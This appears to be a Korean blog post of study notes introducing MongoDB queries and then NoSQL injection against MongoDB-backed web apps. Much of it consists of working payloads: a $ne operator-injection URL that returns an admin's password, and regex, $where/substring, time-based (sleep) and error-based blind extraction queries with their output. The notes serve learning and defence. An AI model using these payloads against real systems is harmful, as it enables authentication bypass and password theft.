1) MongoDB는 다음과 같은 특징을 가진다.
- 스키마 (Schema)가 존재하지 않아 각 테이블 (또는 Collection)에 특별한 정의를 하지 않아도 된다.
- JSON 형식으로 쿼리문을 작성할 수 있다.
- _id 필드가 기본키 (Primary Key) 역할을 한다.
2) MySQL vs MongoDB
1. MySQL
SELECT * FROM inventory WHERE status = "A" and qty < 30;
2. MongoDB
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
3) 연산자
https://www.mongodb.com/ko-kr/docs/manual/reference/operator/
4) MongoDB Injection 취약점
- 이용자 입력값에 대한 타입을 검사하지 않으면 다양한 형태의 데이터를 전달할 수 있다.
- 연산자를 이용한 공격
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
- 쿼리 json 형식
{"uid": "admin", "upw": {"$ne": ""}}
5) MongoDB Blind Injection 취약점
- MongoDB Injeciton이 발생하더라도 쿼리의 실행 결과가 애플리케이션에 출력되지 않는 경우가 있다.
- 이러한 경우 Blind SQL Injection과 같이 MongoDB Blind Injection을 사용해 데이터베이스 정보를 획득할 수 있다.
1. regex를 이용한 공격
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
2. where 연산자
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
※ uid 등의 필드 안에서 사용하는 것은 불가능하다.
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
3. substring을 이용한 Blind Injection
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
4. Time Based Injection
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
5. Error Based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
'프로그래밍 > 해킹' 카테고리의 다른 글
CouchDB & 관련 공격 (0) | 2024.07.03 |
---|---|
Redis 중복 키 사용 관련 공격 (0) | 2024.07.03 |
Exercise: SQL Injection Bypass WAF (0) | 2024.07.02 |
Bypass WAF (0) | 2024.07.02 |
DBMS Fingerprinting (0) | 2024.07.01 |